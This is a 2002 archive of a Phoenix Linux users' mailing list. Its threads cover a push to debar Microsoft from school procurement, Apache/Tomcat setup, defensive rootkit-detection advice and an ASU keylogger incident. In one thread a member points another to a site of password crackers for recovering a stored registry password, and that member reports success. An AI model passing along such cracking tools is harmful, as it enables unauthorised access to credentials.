> > k. Any other offense indicating a lack of business > > > integrity or business > > > honesty which affects responsibility as a > > > Contractor. > > > 3. Conviction or civil judgment finding a violation > > > by any Person or any > > > subsidiary or affiliate of any Person under State or > > > Federal Antitrust > > > Statutes. > > > > http://maricopa.gov/materials/p-code/HTML_code/Code-09.htm#MC1-901 > > > > > As I read MC1-902.B.3, Microsoft (a Person), having > > > been convicted of a > > > violation of Federal Antitrust Statues, cannot be a > > > County Contractor. > > > > > > There are many alternatives to Microsofts products. > > > Alternatives that have > > > broken no laws, Federal or Local, are well supported > > > and used by many large > > > governments (Germany, Taiwan, et al). As a > > > concerned voter in the DVUSD, I > > > must point out that I cannot support criminal > > > behavior and would hope that my > > > Governing Board would see fit to do the same and > > > ONLY consider alternatives > > > as Microsoft is clearly unqualified to meet District > > > requirements. > > > > > > Thank You, > > > > > > Tom Achtenberg > > > > > > PS this message was written ans sent to you using a > > > computer that is 100% > > > Microsoft free. It uses the Red Hat Linux 7.3 > > > operating system, KDE windows > > > like desktop and the K-mail email client. All if > > > these programs come under > > > the "General Public License" which means they are > > > 100% free to the public for > > > personal and commercial use. > > > -- > > > Visit the Mountain Ridge Band Site at > > > > http://www.mrhsband.org > > > > > > __________________________________________________ > > Do You Yahoo!? > > Yahoo! - Official partner of 2002 FIFA World Cup > > http://fifaworldcup.yahoo.com > > > > > > > > --- > > Outgoing mail is certified Virus Free. > > Checked by AVG anti-virus system (http://www.grisoft.com). > > Version: 6.0.371 / Virus Database: 206 - Release Date: 6/13/2002 > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > >- -- >Jim > >Freedom is worth protecting > >-----BEGIN PGP SIGNATURE----- >Version: PGP 6.5.8 > >iQA/AwUBPRCqEisk3ywszI1FEQJZDwCg0JBu1f1ffMgVts+N9FxVfc3GwRgAoI3a >uqHWgWriXgbXcZvWptly5CtJ >=tKg8 >-----END PGP SIGNATURE----- >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't >post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 16:42:30 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jeffrey Pyne) Date: Wed, 19 Jun 2002 09:42:30 -0700 Subject: Apache, JSP and Jakarta setup question Message-ID: You shouldn't have any problems getting Apache and Tomcat to work as you described. You should be able to access your static HTML content by browsing to http://localhost and your servlets/JSPs by browsing to http://localhost:8080. And once you get Apache talking to Tomcat (with mod_jk or one of its cousins), you can access your servlets by browsing to http://localhost/servlets. Although you didn't ask for it, I can describe some of my experience trying to set up Tomcat with Apache. :) Basically I used an article I found at Linux Journal (http://www.linuxjournal.com/article.php?sid=4576). Once I figured out that Apache 2.0.x is different than Apache 1.3.x, and Tomcat 4.0.x is different than Tomcat 3.2.x, and that the documentation isn't as up-to-date as the software, I was able to follow this article and get Apache 1.3.24 serving static HTML content and passing servlet/JSP requests over to Tomcat 3.2.4 via mod_jk on a RedHat Linux 7.3 box. Before I figured out those differences, I wasted a couple weeks trying to figure out why Tomcat 4.0.x wasn't generating a mod_jk.conf-auto like all the docs said it should, or why Apache 2.0.x didn't seem to be loading the mod_jk module, or why Apache just didn't seem to understand what to do with incoming requests for a .jsp page even though I TOLD it what to do, etc., etc. I still have not been able to find any (good) documentation describing how to set up Apache 2.0.x with mod_jk and Tomcat 4.0.x. I did find an article (http://dcb.sun.com/practices/howtos/tomcat_apache.jsp) which describes how to get Apache talking to Tomcat 4.0.x with mod_webapp, but I failed to get that working either, for reasons I can't recall. I guess the good thing is that, as a result of struggling for two weeks to get this working, I gained a pretty good understanding of the workers.properties, server.xml, mod_jk.conf-auto, httpd.conf and web.xml files. Now if I could just figure out how to get the tag to work in SSI pages (without using the obviously preferable method of converting those SSI pages to JSPs).... Good luck, ~Jeff On Monday, June 17, 2002 4:11 PM, Alpha Zenon Sanchez wrote: > Hello Linux Users: > > > 1. I wanted to play around (test develop and teach > myself) > some Java Servlets Programming **Locally Without** > having to configure Apache > and Linux to work as a Network server. Is this > possible? > > 2. Can Apache serve .html pages and .jsp pages to a > local computer even if it is not > configured to be on the network? My idea is to use > the computer's loopback address > to emulate a 'network' setting for Apache, my > computer and the browswer. Is this > possible? > > 3. If not possible, am i stuck to learn Samba and need > a 'true' client/server environment > with a server and a workstation to develop .jsp > pages? > > I plan to use Apache, Jakarta Tomcat and MySQL for > testing and learning. > I'm currently using Redhat 7.2 and KDE as a desktop > environment. From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 16:51:23 2002 From: plug-discuss@lists.plug.phoenix.az.us (Logan Kennelly) Date: Wed, 19 Jun 2002 09:51:23 -0700 Subject: possible LKM rootkit infection In-Reply-To: References: Message-ID: <200206190951.32365.voltage_spike@fastmail.fm> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Wednesday 19 June 2002 07:59 am, Matt Alexander wrote: > It's possible that the "lsof" command wasn't trojaned, since most root > kits don't check for it. Try "lsof -ni" and see if there's any > difference between "netstat -lp". If so, copy over a new "ps" and "ls" > and "netstat" from another machine that you know hasn't been compromised > (a fresh install is best, and make sure it's the same arch/distro). If > lsof shows an unusual port, check to see what program is running in the > far left column. Locate that program and run "strings" on it to get more > info. This should get you started. Keep us updated on what you find. I see a lot of advice on modified programs, but it may be worse than that. There was a presentation at DefCon last year where a kernel module was introduced that hid connections, files, processes, itself, and whatever else you chose. Of course you could replace any binaries with those you wanted, but programs like Tripwire won't detect any change in files. Thus, unless you logged on as a special user (which didn't exist, by the way), then you could be clueless. Fortunately, if you install this kernel module yourself, then it can defeat any of the other installations. The name of this system was KIS: Kernel Intrusion System, but I can't seem to find their homepage. Your best bet to see if this is the case would be to portscan yourself and run netstat (probably a clean copy, but it doesn't have to be). If there is a discrepency between the two reports, I would consider it a very real possibility. The cure should be simple: replace /sbin/init with a clean copy. Good luck! - -- Logan Kennelly ,,, (. .) - --ooO-(_)-Ooo-- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9ELaPpNoctRtUIRQRAmocAJ4rNa4j6jOJvI4c9ojtNmx5p9Th6ACfbE3+ Yo45pLHsIUZKXEy8czpdUYs= =+nPQ -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 16:57:41 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Wed, 19 Jun 2002 09:57:41 -0700 Subject: Fw: Computer Purchasing Guidelines In-Reply-To: <5.1.0.14.0.20020619093307.024ec210@localhost> References: <006f01c2174b$5e9e3d90$42c8a8c0@schnauzer> <5.1.0.14.0.20020619093307.024ec210@localhost> Message-ID: <02061909574107.01526@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 IMHO, which is decidedly non-legal, I think that debarment proceedings are neither civil nor criminal, but rather a violation of procurement rules. I could be wrong, but if my reading of the procurement rules is accurate, MS could be debarred from contracting with the state, its departments, its school districts, and its cities and municipalities. On Wednesday 19 June 2002 09:34, you wrote: > Would this be civil? > > Kimi > > At 6/19/02, you wrote: > >-----BEGIN PGP SIGNED MESSAGE----- > >Hash: SHA1 > > > >According to the state administrative rules, it looks like most if not all > > of the school districts could be required to initiate debarment > > proceedings against MS. Anyone know an attorney who is willing to take > > something like this on pro-bono? > > > >On Tuesday 18 June 2002 21:39, you wrote: > > > Here is the response I received from David Cantelme, Deer Valley school > > > board member. He is the one who has arizonalawinstitute@yahoo.com as > > > his email address. It sounds to me that all the school districts and > > > the state itself should be starting debarment proceedings against MS. > > > We need to start contacting the legislators, Attorney General's office > > > and your local school superintendents. > > > > > > > > > ----- Original Message ----- > > > From: "david cantelme" > > > To: "Tom Achtenberg" > > > Sent: Tuesday, June 18, 2002 6:08 AM > > > Subject: Re: Computer Purchasing Guidelines > > > > > > > > > Dear Mr. Actenburg: > > > > > > They do not, but similar rules found in the state > > > school district procurement rules do apply. Both sets > > > of rules have their origen in the state procurement > > > code. You can find the school district procurement > > > rules by going to the secretary of state web site. > > > Click on administrative rules. Go to title seven. > > > Then scroll down to R7-2-1001. That's where the rules > > > begin. They continue to about R7-2-1175. > > > > > > Debarment procedures do exist in the school district > > > procurement rules. You would need to address your > > > comments on debarment to the adminsitration. That's > > > who would initiate the procedure. If the > > > administration initiates a debarment procedure, the > > > board determines whether to appoint a hearing officer. > > > It goes from there to the officer with appropriate > > > due process to the contractor. The board itself has > > > no involvement in the hearing process. The officer > > > must be independent to ensure a fair hearing under our > > > constitutional system. > > > > > > --- Tom Achtenberg wrote: > > > > I was wondering if the Maricopa County purchasing > > > > policies listed below apply > > > > to DVUSD purchasing pprocedures? > > > > > > > > Maricopa County policies. Interesting references: > > > > > > > > MC1-101 DEFINITIONS > > > > 25."CONTRACTOR" means any Person who has a Contract > > > > with a County > > > > Governmental unit. For purposes of Article 5, > > > > Contractor may also mean > > > > Respondent as defined in this Article. > > > > 36."DEBARMENT" means an action taken by the County > > > > Administrative > > > > Officer under MC1-902 to prohibit a Person from > > > > Participating in > > > > Maricopa County Procurements. > > > > 80."PERSON" means any corporation, Business, > > > > individual, union, > > > > committee, club, other organization or group of > > > > individuals. > > > > 113."SUSPENSION" means an action taken by the County > > > > Administrative > > > > Officer under MC1-902 temporarily disqualifying a > > > > Person from > > > > participating in Maricopa County Procurements. > > > > > > http://maricopa.gov/materials/p-code/HTML_code/Code-01.htm > > > > > > > [Microsoft is considered a Contractor and a Person. > > > > This is important > > > > below.] > > > > > > > > > > > > MC1-407 MAXIMUM PRACTICABLE COMPETITION > > > > All Specifications shall seek to promote overall > > > > economy for the purpose > > > > intended and encourage competition in satisfying > > > > Maricopa County's needs > > > > and shall not be unduly restrictive. > > > > > > http://maricopa.gov/materials/p-code/HTML_code/Code-04.htm#MC1-401 > > > > > > > [Is there any technology that is Microsoft > > > > exclusive? I believe there > > > > are sites that explain how to replace Exchange > > > > Server completely using > > > > Linux/OSS with Qmail; and SQL Server is replaceable > > > > with mySQL or PostgreSQL; > > > > IIS & ASP is replaceable with Apache & PHP, The MS > > > > Office suite is > > > > replaceable with the very comparable Open Office > > > > suite.] > > > > > > > > > > > > MC1-902 DEBARMENT AND SUSPENSION OF CONTRACTORS > > > > B. The causes for Debarment or Suspension shall > > > > include, but are not > > > > limited to, the following: > > > > 2. Conviction of any Person or any subsidiary or > > > > affiliate of any Person > > > > under any statute of the Federal government, this > > > > State or its political > > > > subdivision or any other State for: > > > > k. Any other offense indicating a lack of business > > > > integrity or business > > > > honesty which affects responsibility as a > > > > Contractor. > > > > 3. Conviction or civil judgment finding a violation > > > > by any Person or any > > > > subsidiary or affiliate of any Person under State or > > > > Federal Antitrust > > > > Statutes. > > > > > > http://maricopa.gov/materials/p-code/HTML_code/Code-09.htm#MC1-901 > > > > > > > As I read MC1-902.B.3, Microsoft (a Person), having > > > > been convicted of a > > > > violation of Federal Antitrust Statues, cannot be a > > > > County Contractor. > > > > > > > > There are many alternatives to Microsofts products. > > > > Alternatives that have > > > > broken no laws, Federal or Local, are well supported > > > > and used by many large > > > > governments (Germany, Taiwan, et al). As a > > > > concerned voter in the DVUSD, I > > > > must point out that I cannot support criminal > > > > behavior and would hope that my > > > > Governing Board would see fit to do the same and > > > > ONLY consider alternatives > > > > as Microsoft is clearly unqualified to meet District > > > > requirements. > > > > > > > > Thank You, > > > > > > > > Tom Achtenberg > > > > > > > > PS this message was written ans sent to you using a > > > > computer that is 100% > > > > Microsoft free. It uses the Red Hat Linux 7.3 > > > > operating system, KDE windows > > > > like desktop and the K-mail email client. All if > > > > these programs come under > > > > the "General Public License" which means they are > > > > 100% free to the public for > > > > personal and commercial use. > > > > -- > > > > Visit the Mountain Ridge Band Site at > > > > > > http://www.mrhsband.org > > > > > > > > > __________________________________________________ > > > Do You Yahoo!? > > > Yahoo! - Official partner of 2002 FIFA World Cup > > > http://fifaworldcup.yahoo.com > > > > > > > > > > > > --- > > > Outgoing mail is certified Virus Free. > > > Checked by AVG anti-virus system (http://www.grisoft.com). > > > Version: 6.0.371 / Virus Database: 206 - Release Date: 6/13/2002 > > > > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > >- -- > >Jim > > > >Freedom is worth protecting > > > >-----BEGIN PGP SIGNATURE----- > >Version: PGP 6.5.8 > > > >iQA/AwUBPRCqEisk3ywszI1FEQJZDwCg0JBu1f1ffMgVts+N9FxVfc3GwRgAoI3a > >uqHWgWriXgbXcZvWptly5CtJ > >=tKg8 > >-----END PGP SIGNATURE----- > >________________________________________________ > >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > >post to the list quickly and you use Netscape to write mail. > > > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPRC4BSsk3ywszI1FEQLMygCeP8J3OAAe0HtrEvQsqzXiRt3bHRgAn20/ jvqee9WrnED2XJex6UfhtK/4 =EQ9s -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 17:21:57 2002 From: plug-discuss@lists.plug.phoenix.az.us (Sundar) Date: Wed, 19 Jun 2002 10:21:57 -0700 Subject: Ethical hacking/cracking References: <3D0FBA65.9060506@esaravana.com> <200206181629.36140.zen2now@qwest.net> Message-ID: <3D10BDB5.9070402@esaravana.com> You are a dangerous man. I downloaded an application and it cracked without a hassle. Thanks, Sundar slr wrote: >i didnt say this! > >but check out http://www.blackcode.com/, they several password crackers on >their site. the only thing is you will have to register to download files. > >remember i didnt send you there. :~D > >slr > >On Tuesday 18 June 2002 03:55 pm, Sundar wrote: > >>Hello, >> >>Would you guys know of hacking/cracking the password key stored in >>Windows NT registry by an application? Application in question is 'Funk >>Software Proxy' and it seems to have stored the password in binary form. >> >>(The guy who ghost imaged the system left the company and now we have to >>connect to them.) >> >>Any help is appreciated >> >>Sundar >> >> >> >>________________________________________________ >>See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't >>post to the list quickly and you use Netscape to write mail. >> >>PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >>http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss >> > >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 18:18:14 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Wed, 19 Jun 2002 11:18:14 -0700 (PDT) Subject: Internet access at InstallFest? Message-ID: I can't remember if this was stated already, but will there be Internet access at the InstallFest? I'd like to be able to plug my Linux Terminal Server in and provide my clients with 'net access. Plus, it'll be fun to plug a wireless access point in to some random network jack and hack all the newbie systems from my wireless laptop. Heh. Just kidding. ;-) Thanks, ~M From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 18:38:18 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Wed, 19 Jun 2002 14:38:18 -0400 Subject: Internet access at InstallFest? Message-ID: Yes, fast internet access will be available. Alan On Wed, 19 Jun 2002 11:18:14 -0700 (PDT) Matt Alexander wrote: I can't remember if this was stated already, but will there be Internet access at the InstallFest? I'd like to be able to plug my Linux Terminal Server in and provide my clients with 'net access. Plus, it'll be fun to plug a wireless access point in to some random network jack and hack all the newbie systems from my wireless laptop. Heh. Just kidding. ;-) Thanks, ~M ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 18:54:26 2002 From: plug-discuss@lists.plug.phoenix.az.us (technomage) Date: Wed, 19 Jun 2002 11:54:26 -0700 Subject: possible LKM rootkit infection In-Reply-To: <20020619134030.37517.qmail@web14008.mail.yahoo.com> References: <20020619134030.37517.qmail@web14008.mail.yahoo.com> Message-ID: <20020619185425.PSTV25007.fed1mtao01.cox.net@there> On Wednesday 19 June 2002 06:40 am, you wrote: > What are the processes that are invisible? Are any of them using a > high/odd port number? IE ssh on port 37337? Any other info you can > provide about this would also be helpful. IE how is your system connected > to the net? ok, heres what I know: ssh doesn't appear to be running any odd port numbers (just the standard issue low port), chkrootkit-.35 would not specifiy which processes were invisible (will have to contact the author on that). as for the system, it is connected to the cablemode and is running an iptables firewall script (a big one) with portsentry and prelude intrusion detection in place and operating. the box in question is my IPMASQ/NAT/FIREWALL/gateway for the rest of the lan. all other machines in the lan check out ok (no infection or intrusion). I've tried manually running ps and readdir and both yielded no results I can use. also, on this mornings run of chkrootkit, those 4 invisible processsses are no longer there (inactive, deactivated, or what I don't know). I have a copy of the log it made if you wish to paruse. > > Also, (curiosity on my part)what are using for a rootkit checker? the one available at www.chkrootkit.org > > scott > Technomage -- I will not be pushed, filed, stamped, indexed, briefed, debriefed, or numbered! My life is my own - No. 6 From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 18:57:33 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Emerson) Date: Wed, 19 Jun 2002 11:57:33 -0700 (MST) Subject: Fw: Computer Purchasing Guidelines In-Reply-To: <02061908581006.01526@nova.wedge.org> Message-ID: Perhaps this group? http://www.aclpi.org/ Arizona Center for Law in the Public Interest. Though as noted in other messages, this is certainly an administrative procedural issue with each purchasing authority in the state. However, if the various governmental agencies don't at least give the issue a basic review, maybe there would be something that the ACLPI would have an interest in? ------------------------------------------ -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 According to the state administrative rules, it looks like most if not all of the school districts could be required to initiate debarment proceedings against MS. Anyone know an attorney who is willing to take something like this on pro-bono? On Tuesday 18 June 2002 21:39, you wrote: > Here is the response I received from David Cantelme, Deer Valley school > board member. He is the one who has arizonalawinstitute@yahoo.com as his > email address. It sounds to me that all the school districts and the state > itself should be starting debarment proceedings against MS. We need to > start contacting the legislators, Attorney General's office and your local > school superintendents. > > > ----- Original Message ----- > From: "david cantelme" > To: "Tom Achtenberg" > Sent: Tuesday, June 18, 2002 6:08 AM > Subject: Re: Computer Purchasing Guidelines > > > Dear Mr. Actenburg: > > They do not, but similar rules found in the state > school district procurement rules do apply. Both sets > of rules have their origen in the state procurement > code. You can find the school district procurement > rules by going to the secretary of state web site. > Click on administrative rules. Go to title seven. > Then scroll down to R7-2-1001. That's where the rules > begin. They continue to about R7-2-1175. > > Debarment procedures do exist in the school district > procurement rules. You would need to address your > comments on debarment to the adminsitration. That's > who would initiate the procedure. If the > administration initiates a debarment procedure, the > board determines whether to appoint a hearing officer. > It goes from there to the officer with appropriate > due process to the contractor. The board itself has > no involvement in the hearing process. The officer > must be independent to ensure a fair hearing under our > constitutional system. > > --- Tom Achtenberg wrote: > > I was wondering if the Maricopa County purchasing > > policies listed below apply > > to DVUSD purchasing pprocedures? > > > > Maricopa County policies. Interesting references: > > > > MC1-101 DEFINITIONS > > 25."CONTRACTOR" means any Person who has a Contract > > with a County > > Governmental unit. For purposes of Article 5, > > Contractor may also mean > > Respondent as defined in this Article. > > 36."DEBARMENT" means an action taken by the County > > Administrative > > Officer under MC1-902 to prohibit a Person from > > Participating in > > Maricopa County Procurements. > > 80."PERSON" means any corporation, Business, > > individual, union, > > committee, club, other organization or group of > > individuals. > > 113."SUSPENSION" means an action taken by the County > > Administrative > > Officer under MC1-902 temporarily disqualifying a > > Person from > > participating in Maricopa County Procurements. > > http://maricopa.gov/materials/p-code/HTML_code/Code-01.htm > > > [Microsoft is considered a Contractor and a Person. > > This is important > > below.] > > > > > > MC1-407 MAXIMUM PRACTICABLE COMPETITION > > All Specifications shall seek to promote overall > > economy for the purpose > > intended and encourage competition in satisfying > > Maricopa County's needs > > and shall not be unduly restrictive. > > http://maricopa.gov/materials/p-code/HTML_code/Code-04.htm#MC1-401 > > > [Is there any technology that is Microsoft > > exclusive? I believe there > > are sites that explain how to replace Exchange > > Server completely using > > Linux/OSS with Qmail; and SQL Server is replaceable > > with mySQL or PostgreSQL; > > IIS & ASP is replaceable with Apache & PHP, The MS > > Office suite is > > replaceable with the very comparable Open Office > > suite.] > > > > > > MC1-902 DEBARMENT AND SUSPENSION OF CONTRACTORS > > B. The causes for Debarment or Suspension shall > > include, but are not > > limited to, the following: > > 2. Conviction of any Person or any subsidiary or > > affiliate of any Person > > under any statute of the Federal government, this > > State or its political > > subdivision or any other State for: > > k. Any other offense indicating a lack of business > > integrity or business > > honesty which affects responsibility as a > > Contractor. > > 3. Conviction or civil judgment finding a violation > > by any Person or any > > subsidiary or affiliate of any Person under State or > > Federal Antitrust > > Statutes. > > http://maricopa.gov/materials/p-code/HTML_code/Code-09.htm#MC1-901 > > > As I read MC1-902.B.3, Microsoft (a Person), having > > been convicted of a > > violation of Federal Antitrust Statues, cannot be a > > County Contractor. > > > > There are many alternatives to Microsofts products. > > Alternatives that have > > broken no laws, Federal or Local, are well supported > > and used by many large > > governments (Germany, Taiwan, et al). As a > > concerned voter in the DVUSD, I > > must point out that I cannot support criminal > > behavior and would hope that my > > Governing Board would see fit to do the same and > > ONLY consider alternatives > > as Microsoft is clearly unqualified to meet District > > requirements. > > > > Thank You, > > > > Tom Achtenberg > > > > PS this message was written ans sent to you using a > > computer that is 100% > > Microsoft free. It uses the Red Hat Linux 7.3 > > operating system, KDE windows > > like desktop and the K-mail email client. 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PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 19:10:26 2002 From: plug-discuss@lists.plug.phoenix.az.us (technomage) Date: Wed, 19 Jun 2002 12:10:26 -0700 Subject: possible LKM rootkit infection In-Reply-To: References: Message-ID: <20020619191027.UFSN26656.fed1mtao04.cox.net@there> ok, done all of this (even written them to a text file for later review). so far, I don't see anything unusual. I have a couple of non-standard (installed myself) servers running here (ircd and opennap) and I know which ports those are on. everything else appears to be as normal (including their port assignmanets). I'vew also verified all packages on the "infected" machine and found no discrepencies that wouldn't be accounted for (some conf files were changed, but those I already know about as I was the one that modified them). everything else checks out. as a safety measure when I first found an intruder on my system some weeks back, I changed all passwords, ran chattr +ui on some specified directories (/bin, /sbin, /usr/bin, /usr/bin/X11R6, /usr/sbin) to make sure the files couldn't be modified without my knowing about it (this at the suggestion of tom perry). I checked the package verification against a log of the last time I did so,. which was 4 weeks ago) and noted only minor changes (mostly in some logs and 1 or 2 conf files that I know about). The kernel on this box does not have modules support (not needed as this is a gateway box for my lan and I only needed certain items (such as the devices on board and iptables) compiled in. this was specifically to prevent the introduction of "hijacked" modules. as it is, I was thinking ahead security wise when I placed this unit online. anything else I should be doing? Technomage On Wednesday 19 June 2002 07:59 am, you wrote: > It's possible that the "lsof" command wasn't trojaned, since most root > kits don't check for it. Try "lsof -ni" and see if there's any difference > between "netstat -lp". If so, copy over a new "ps" and "ls" and "netstat" > from another machine that you know hasn't been compromised (a fresh install > is best, and make sure it's the same arch/distro). If lsof shows an > unusual port, check to see what program is running in the far left column. > Locate that program and run "strings" on it to get more info. This should > get you started. Keep us updated on what you find. > Thanks, > ~M > -- I will not be pushed, filed, stamped, indexed, briefed, debriefed, or numbered! My life is my own - No. 6 From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 19:27:41 2002 From: plug-discuss@lists.plug.phoenix.az.us (tickticker) Date: Wed, 19 Jun 2002 12:27:41 -0700 Subject: gentoo 1.2 References: <200206180935.52647.zen2now@qwest.net> <20020618210224.GA27747@aries.evilmascot.com> <200206190901.00430.zen2now@qwest.net> Message-ID: <000d01c217c7$617e40b0$0301010a@tickticker.com> I always start at linuxiso.org and look at their mirrors anthony ----- Original Message ----- From: "slr" To: ; "Kyle O'Malley" Sent: Wednesday, June 19, 2002 9:01 AM Subject: Re: gentoo 1.2 > thanks very much for the info, but after further research on my part i have > decided to give the SUSE 7.3 sparc64 version a try, that is if i can get all > 5 disks before i die! know of a fast mirror? :~D > > slr > > On Tuesday 18 June 2002 02:02 pm, Kyle O'Malley wrote: > > The i686 disk has install stages 1-3 on the disk, they must be refering to > > the fact that if you build and compile starting from stage1 you can have a > > working system on any i386+ while stage3 has everything precompiled but > > only supports i686+. > > > > The last version I needed to install from was 1.1, which only included a > > i386 kernel to install from, I can't see how they'd some how muck install > > kernels for two diff architectures onto one cd (not to mention I doubt the > > el torito boodable cd standardworks on sparc machines). > > > > -Kyle > > > > On Tue, Jun 18, 2002 at 09:38:56AM -0700, slr wrote: > > > good morning plug, > > > > > > question for you guys familiar with gentoo. i > > > noticed they sell a SPARC version, but i also noticed this statement: > > > > > > SPARC CDs for $3.75 USD apiece, and donating 20% of their profits from > > > Gentoo sales to the Gentoo Linux project! :) Note that the i686 CD will > > > allow a build from scratch for *all* systems, but also has pre-built > > > stuff for i686+ CPUs. > > > > > > the Note states that the i686 will allow a build from scratch on *all* > > > systems, does that include the Ultra Sparc II? i want to try gentoo on my > > > Ultra 5, because i have to many stability issues with MDK 7.1 corp. > > > server and i dont like working with Solaris 8. so gentoo sounds like a > > > great alternative for bringing new life to an over priced desktop. > > > > > > slr > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 19:28:21 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mark Anderson) Date: Wed, 19 Jun 2002 12:28:21 -0700 (PDT) Subject: ASU computer lab hacked In-Reply-To: Message-ID: <20020619192821.3257.qmail@web12206.mail.yahoo.com> Yes, only key logging was installed and only on a few open public access computers, not administrative computers or servers. Mark Anderson 602.435.7508 CEO- Neowav Internet Solutions, LLC. --- Patrick Fleming EA wrote: > > > My understanding was that key logging software was installed locally. > On Tue, 18 Jun 2002, bob smith wrote: > > > > > --- technomage wrote: > > > well, > > > if anyone didn't catch the 5 PM news, it appears > > > that the ASU computer lab > > > and some of the administration machines were hacked > > > into by someone > > > representing the russian mafia (thats what they said > > > on the news anyway). > > > > > > make take a look for it on www.phoenix360.com or any > > > of the other news > > > statiosn that have web pages. > > > > > > Technomage > > > > > > p. incidently, those machines were apples running a > > > pre-OSX OS > > > > Pre-OSX? OS 9? Any word on what was running on the > > machines that allowed whoever it was to gain access? I > > didn't think any software bundled by apple pre-OSX had > > a remote exploit that could be used? > > > > __________________________________________________ > > Do You Yahoo!? > > Yahoo! - Official partner of 2002 FIFA World Cup > > http://fifaworldcup.yahoo.com > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list > quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > -- > Patrick Fleming, EA > http://myhdvest.com/patrickfleming > Licensed to represent taxpayers > before Exam, Appeals, and Conference > divisions of the IRS > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly > and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 19:55:09 2002 From: plug-discuss@lists.plug.phoenix.az.us (Scott Brewster) Date: Wed, 19 Jun 2002 12:55:09 -0700 (PDT) Subject: possible LKM rootkit infection In-Reply-To: <20020619191027.UFSN26656.fed1mtao04.cox.net@there> Message-ID: <20020619195509.4110.qmail@web14008.mail.yahoo.com> --- technomage wrote: > ok, > as a safety measure when I first found an intruder on my system some 